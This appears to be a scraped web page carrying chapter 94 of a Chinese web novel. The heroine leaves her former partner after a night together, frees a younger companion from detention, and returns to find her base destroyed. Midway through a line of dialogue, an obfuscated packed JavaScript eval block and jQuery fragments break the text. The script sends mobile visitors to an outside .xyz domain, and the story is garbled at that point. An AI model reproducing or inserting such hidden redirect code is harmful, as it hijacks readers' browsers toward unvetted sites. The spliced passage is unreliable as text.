94. 所谓人类1
作品:《被迫失忆后和男神拯救世界了》 第二天早上时槿醒来时还在发懵,全身跟被人打了一样酸痛,特别是腰酸得不行。她从一张陌生的床上醒过来,发现自己身上只穿了件宽大的T恤时脑子空白地费力回想了半天。
她眯了眯眼,看向身侧熟睡的人。
时槿脑海里拼出一些破碎的画面,翻滚的浪潮里她听见祝庭在身后质问她为什么要牵别人的手,她根本回答不了,想逃还要被祝庭揽着要拖回去。
很糟糕。
时槿混沌的脑子又想起来自己昨天嚎啕大哭的事情,更加无地自容,当场把旁边人灭口的心都有了。
祝庭的这间房子朝阳,窗帘的缝隙透出外界仍旧是黑夜的不眠时辰,要不是床头柜上的时钟写着已经到了第二天早上七点五十,她都会以为现在还是夜晚。
时槿揉了揉酸胀到脖子,看见自己睡的这边枕头旁边,自己衣服叠得整整齐齐地放着,一朵蒲公英在她心里轻轻挠了挠。
时槿放低动静地穿好衣服,默不作声地准备离开。
走到卧室门时背后窸窸窣窣的动静传来,祝庭坐了起来,声音沙哑地喊她:"时槿?"
时槿没想到还是被发现了,她不知道怎么面对祝庭,只拿个背影对着祝庭,强装镇定:"到早上八点了,带我去接苏尔尔。"
开口才发现自己声音也哑得不可思议。
祝庭没有多说,很迅速地穿戴整齐,走到在卧室外客厅沙发上坐着等他的时槿面前:"走。"
时槿做了一会心理建设又回到那副和祝庭不熟的样子了,她点点头,起身就要走。
祝庭忽然又叫住了她:"等等。"
"干什么?"
"你要不换件衬衣吧?我这里有。"祝庭耳朵尖窜上丝红意,不自在地指了指她的脖子。
时槿莫名其妙地去厕所照了照镜子,看见脖子上若隐若现的红印时表情变化很精彩,半晌她恶狠狠地说:"我看是你想先弄死我……衣服呢?"
祝庭自知理亏,飞快地去找了件衬衣递给时槿。
时槿换上衬衣,把扣子扣到最上面一颗系好。衬衣上有祝庭身上好闻的苦橙叶和木质香气,淡淡地氤氲在她身上,她心间莫名涌上一丝痒意。
她换好衣服出了厕所,祝庭靠着卧室门看她,简短但眼睛都看直了地评价:"很合身。"
时槿把外套披上:"谢了。"
她走到房门处,脚步顿了顿,转头对祝庭说:"昨晚的事情当作没发生过,可以吧?"
祝庭没说话。
时槿手握在门把手上,侧头认真地看着祝庭。
祝庭问她:"你想好了吗?"
时槿握着门把手的手松开,彻底转过身看他,声调微微上扬:"当然……但我觉得或许还有别的可能。"
祝庭眼眸亮了亮,跟上去:"什么意思?"
时槿想起祝其衍说的战争和自己想要找到的其他解法,尽量言简意赅:"我不希望战争出现,你呢?"
祝庭明白了她的意思,点点头:"我也不希望。"
"为了这件事我可以短暂地原谅你,但具体的事宜需要从长计议。"时槿理性地说。
刚经历过灾害苍夷的人类不应该有战争再出现了,刚重建的生活经不起多一次的破坏,和祝庭联合是她能想到的最好的办法。
就是祝其衍那边很难办。
祝庭点点头,眼神带着期盼地看着她:"意思是你之后还会和我联系吗?"
时槿被他灼灼的目光烫到,回避了下:"嗯。"
祝庭脸上的开心都要溢出来了,就差原地转个圈了。
时槿无奈地戳了戳他的肩:"怎么感觉你变幼稚了?暂时我们不要有明面上的联系,我要去搞定祝其衍那边——"
祝庭却忽然抱住了她,这一次是实打实的失而复得的拥抱,他说:"好,你说什么都好。这几年辛苦了。"
时槿不习惯这一次见面后祝庭丝毫不掩藏的爱和表达,不自然地低下头,声音闷闷的:"不许用幻觉骗我了。"
祝庭点头:"再那样做你就杀了我。"
时槿拍了拍他脑袋:"不要说不吉利话。走了。"
她抢先一步,逃也似的把房门打开,外面楼道虽然是黑夜但头顶光线敞亮,新鲜的空气涌进鼻腔,时槿跳下台阶,听到背后紧跟的祝庭的脚步声恍然觉得正在踏入新世界。
但世界往往并不如愿,时槿片刻作的决定并不能抵抗人类千万年来运行轨迹的命数,只是衔尾城实在太让人充满希望、太让人沉醉在伸手就可以触碰幸福的黑夜里。
时槿当时并不知道这个道理,只是转头看着祝庭,男人变深邃的五官在她眼里和在塔纳托斯初见那天重合,她眼里闪着光埋怨了句:"快点啊。"
祝庭笑了下,跟上她。
一路上,时槿言简意赅地和祝庭说了自己和苏尔尔的关系,包括怎么认识苏尔尔的和这是一个怎么样的小孩,祝庭在一边边听边庆幸自己没有对苏尔尔怎么样。
祝庭听着时槿的讲述窥见她这三年模糊的轮廓,像拥抱着有刺的花,刺细细密密地扎入他的心脏,疼痛地跳动着。
他只能一直说抱歉。
时槿不太理解他在抱歉什么,但猜得到他是在自责,她也没有像以前一样说不要道歉,只是默不作声地把他的道歉收下。
衔尾城不分昼夜的彩灯在这片住宅区域有所收敛,但时槿还是能看见远远的旋转着晃过来的人造光,她伸出手握了握光。
祝庭在她身侧浅浅地笑,眼里一直缠绕的阴霾散去大半。
他从未觉得从衔尾城里自己的房子到白色大楼这段距离那么近,环绕的道路好像一切都在绕回那个舍不得到达的原点。时槿看见快到白色大楼了,面部活动了下回到那副和祝庭不熟的样子,侧头说:“别忘记我说的话,带我去找苏尔尔吧。”
祝庭点点头,在可能有监控的地方没有和时槿有过多的接触。
他一路带着时槿走到了白色大楼的地下室,长长的走廊侧墙有几个排气扇在长久地转动,除此以外没有窗户,甚至连洞也没有,墙壁光滑得没有一点让人逃生的机会。
墙的另一侧是一个个紧凑的房间,房间被露出一个单向灰孔的铁门紧锁着,时槿边走边打量到铁门内形形色色的人,有些心惊。她看着面前走得端正的祝庭,刚刚短暂收回的防备在这会又被拉了上来。
不能再像之前一样忘记这个人是谁。时槿心想。
一直走到接近像地牢一样的地下层的最里面,时槿才终于看到了靠在禁闭室单独的长椅上睡得香甜的苏尔尔。
苏尔尔张着嘴毫无形象地上半身躺在沙发椅上睡觉,要不是手腕被拷着就像来度假的一样。她松了口气,知道苏尔尔没什么事。
“谢谢,我之后会好好管教她的。”时槿在祝庭打开门的时候,舒了口气说。
祝庭摇摇头,推开了门。
门一打开,苏尔尔听到动静猛然坐起来,还没看清人呢先龇牙咧嘴骂上了:“混蛋要杀要剐就快点——哎?”
她骂了一半看清了来人,对上时槿不悦的目光,眨巴眨巴眼,心虚地闭上了嘴。
祝庭手里的操控器动了动,苏尔尔手上和脚上的镣铐就应声卸下。重获自由的苏尔尔迫不及待地站起来,又因为腿麻了站在原地表情扭曲起来。
时槿叹了口气,走过去把苏尔尔的手架到自己肩膀上,扶着因为腿麻还一瘸一拐的苏尔尔往外走:“看我回去怎么收拾你。”
苏尔尔噘嘴:“对不起嘛……”
时槿公事公办地对门口的祝庭说:“那人我就带走了?”
祝庭也公事公办地回她:“慢走不送。”
时槿在祝庭长长的注视里带着苏尔尔离开了,一直走到飞梭上,门关上一瞬间她就把苏尔尔狠狠骂了一顿:“我几天没管你,你觉得你能耐很大了是吧苏尔尔?你有考虑过自己几斤几两吗?”
“你能不能懂事一点?”她气得不轻,想到这一次要是不是祝庭心软了下可能苏尔尔就丧命了,刚刚的好心情都在苏尔尔闯入视线时消散一空。
苏尔尔无助地绞着手指,比时槿高了半个头但头低得要把自己缩一团了,她抿着嘴说:“我只是想要帮上忙,我看你和赫拉叔一直都很忙,我什么也帮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387425|176793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不上,只能被你们丢在基地里……”
时槿听到她说话,心里也不知道什么滋味,她瞧见苏尔尔眼眶都红了,晶莹的泪珠在眼里打转。
她叹了口气,走过去把苏尔尔按到自己怀里,手绕到苏尔尔的背上拍了拍:“哪有?看基地不也是很大的责任吗,我们只是不想你搅到不好的事情里太深。我父母在几年前在灾难里死了,你是我唯一的家人了知道吗?”
苏尔尔在她怀里哽咽地说:“可是我也想帮上你们啊,我已经学了格斗和用枪很久了。”
时槿在她背后胡乱地呼噜着,说:“那以后能带上你的我尽量都带着你,但你要答应我不能再擅自做那么冲动的事情了,可以吗?”
苏尔尔点点头,抹了抹脸上的眼泪。
她可怜兮兮地皱着张小脸看时槿,问:“姐,你和那个祝庭是什么关系?他昨天一直问我你的事情。”
时槿一顿,抬着手摸了摸苏尔尔的头,随便丢了句话糊弄过去:“以前的同学。”
“同学?姐你还在哪上过学嘛?”苏尔尔听见时槿在说自己从未听过的事,好奇地追问。
时槿坐到驾驶位上:“普伦勒,没上完。不要再问了,乖乖坐过来跟我回去,不然以后什么也不带你。”
苏尔尔吐吐舌头,吸着鼻涕坐到时槿旁边的副驾驶座上。
飞梭从衔尾城启航,走上归家的轨道上,与此同时另一边的中央城、钢铁之城却接连出现了接连不断的变革。暗流层里流光漂浮,时槿在因为距离而格外漫长的暗流层里错过了好几个紧急的通讯。
外界出现动乱时她还在一边驾驶着飞梭,一边分出心神想怎么劝祝其衍不要发动战争,她觉得自己可以和祝庭重新联合起来阻止一些事发生。
她不想看见更多无辜的人受伤了。
飞梭重新进入钢铁之城,秋意凉凉的午后阳光迷了她的眼睛,昨晚没有睡好的苏尔尔还在一旁呼呼大睡,时槿眼皮忽然跳了跳,预感到不详。
看清底下原本属于自己基地的场景时,她全身发冷,站起身来,喊了旁边的女孩一声:“苏尔尔。”
苏尔尔睁开眼,“嗯”了声,视线先闪过看着底下景色难以置信的时槿,然后顺着时槿的目光看见自卫军基地的模样,随即她眼睛也蓦地睁大了。
满目疮痍的模样。
时槿从飞梭进来却没有感受到一点防护网波动的时候就感觉到了不详,在看见这一块区域被炸得一片废墟时不详的征兆得到了证实。阳光下乱石堆砌,原本紧挨着的居民楼这会都倒塌在了地面上,房体结构和承重墙孤零零地站在地表,破布一样的人类尸体横七竖八地躺着。
秋风萧瑟地吹过,她记得是属于一个和蔼老奶奶的红色布衣被吹到半空,又旋转着落下。
“姐——这怎么回事?”
苏尔尔声音打颤,问她。
实际上时槿也整个人都在小幅度发抖,她摇摇头,眼里的惊惧藏也藏不住,她打开了不知道为什么在衔尾城一点动静也没有收到的天穹,接二连三的消息海一样淹没她。
时槿呼吸急促,捕捉到了两个重要消息。
一则是说中央城的教堂被疑似维格亚党的人闯入,那时教堂正在上课,维格亚党的人本意是想停止这一活动,但因为小孩受到惊吓推推嚷嚷导致枪支走火。其中一个讲师为了保护小孩在枪子下丧命。
另一则是说教堂事变发生后普伦勒部分人宣布要站到波尔维多党一方,并立刻在事情发生后定位并炮击了钢铁之城的自卫军基地,养着数不清的废渊人的基地的战斗力很弱,赫拉克勒斯说只来得及带了部分人转移到灰宁区,基地被迫放弃。
时槿身子一晃,第一次那么具象地感受到什么叫眼前一黑。
她想起和祝庭的约定。
想起几年前在钢铁之城看过的烟火秀。
想来今年是不会有了,一切都不是她和祝庭能够阻止的了。
后来时槿在尘埃落定时认真复盘,在和他人一起凿刻墓碑时复盘这段很久她都不愿意回头看的日子,全世界都混乱无比的日子,她才想起来,那一天是钢铁之城的捡秋日。